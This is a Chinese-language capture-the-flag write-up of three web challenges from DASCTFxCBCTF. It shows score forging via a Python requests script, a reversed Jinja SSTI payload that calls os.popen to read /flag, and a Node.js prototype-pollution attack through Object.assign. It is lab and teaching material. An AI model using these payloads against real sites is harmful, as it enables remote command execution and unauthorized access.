DASCTFxCBCTF


WEB

dino3d

进入后是一个3d版的游戏,死亡后会提示说玩够一百万分就能拿到flag

QQ截图20220920165732

先来个非预期

我们在控制台可以看到score的属性

image-20220920175500274

我们可以通过修改score.score的方式来修改我们的分数

image-20220920175655019

然后是预期解

在js的源码里可以看到最后有这么一部分

image-20220920175915900

sn(e, t) {
    e && t && fetch("/check.php", {
        method: "POST",
        headers: {
            "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
        },
        body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
    }).then(e=>e.text()).then(e=>alert(e))
}

e和t分别为分数和checkCode

image-20220920180224487

checkCode由两部分组成

image-20220920180251683

image-20220920180305217

所以t=checkCode=DASxCBCTF_wElc03e

也就是向check.php发送post请求,其中有三个参数,score、checkCode、tm,score是我们的分数。我们可以设成1000000,这里的checkCode是md5(score.score+checkCode),及md5(1000000DASxCBCTF_wElc03e),tm就是个时间戳

所以可以编写脚本

import requests
import time

url = 'http://node4.buuoj.cn:27211/check.php'
headers = {
              "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
          }
data = {
    "score": "1000000",
    "checkCode": '4639d0ab43e9030749f450eb6e9fbb97',
    "tm": str(time.time())[:10]
}
rep = requests.post(url, data=data, headers=headers).text
print(rep)

image-20220920181636482

Text Reverser

SSTI但是过滤了{{,然后还把输入的内容进行了反序输出的操作,所以我们的payload在输入之前就要有一个反序的操作

{{没了可以用{%%}替代

image-20220920184914991

照着这个payload改一下

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

改了之后的payload为

{%print(''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('nl /flag').read())%}

然后逆序一下

}%))(daer.)'galf/ ln'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.__esab__.__ssalc__.''(tnirp%{

image-20220920185701419

cbshop

js的题,有附件,down下来审一下,主要是app.js。

题目主要功能就是用钱来买flag,但是普通用户只有10$,不可能买到11$的flag,而admin用户有9999,可以用来购买flag,于是我们就需要登录admin账号

image-20220920223605085

image-20220920223623009

从这里可以得到密码

image-20220920223814625

登录之后发现钱够了但还是买不到flag。因为源码里在购买的部分还存在验证

image-20220920223922197

product的值就是我们的传参

image-20220920224005169

image-20220920224014603

然后存在三个if判断,首先判断id是否为2,然后判断money是否大于11,并且是否存在一个user.token,最后一个if判断我们post传入的内容是否有flag这个关键字,如果有就提示go to ’readFileSync‘。如果没有就读取文件名为name的值的文件里面的内容。

第一个条件好满足,我们先来看第二个。首先我们知道user的构造如下,并没有token这个属性

image-20220920224521771

所以如果我们想添加一个user.token的值,就需要借助原型链污染(js漏洞 | Ethe's blog (ethe448.github.io))。而代码中正好存在利用的地方,这是一个进行复制操作的函数。

Object.assign(order[user.username], product);

如果user.username=__proto__,那么在执行这段代码的时候,就会造成我们的原型链污染。product的值我们可控。也就实现了为其添加user对象添加token属性的目的

所以首先是把user.username改成__proto__

image-20220920223520791接下来就是传入product,name的值是我们想读的文件名,也就是/flag,然后添加一个token属性就可以。

image-20220920223407034

由于第三个if的原因,所以第一次传参的时候是会被拦下来的。所以我们需要第二次传参,因为之前我们以及把name的值赋成了/flag,所以第二次传参就不再需要了(其实第二次随便传个json格式的内容就行,只要不覆盖第一次传的值。)。

image-20220920223342590


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录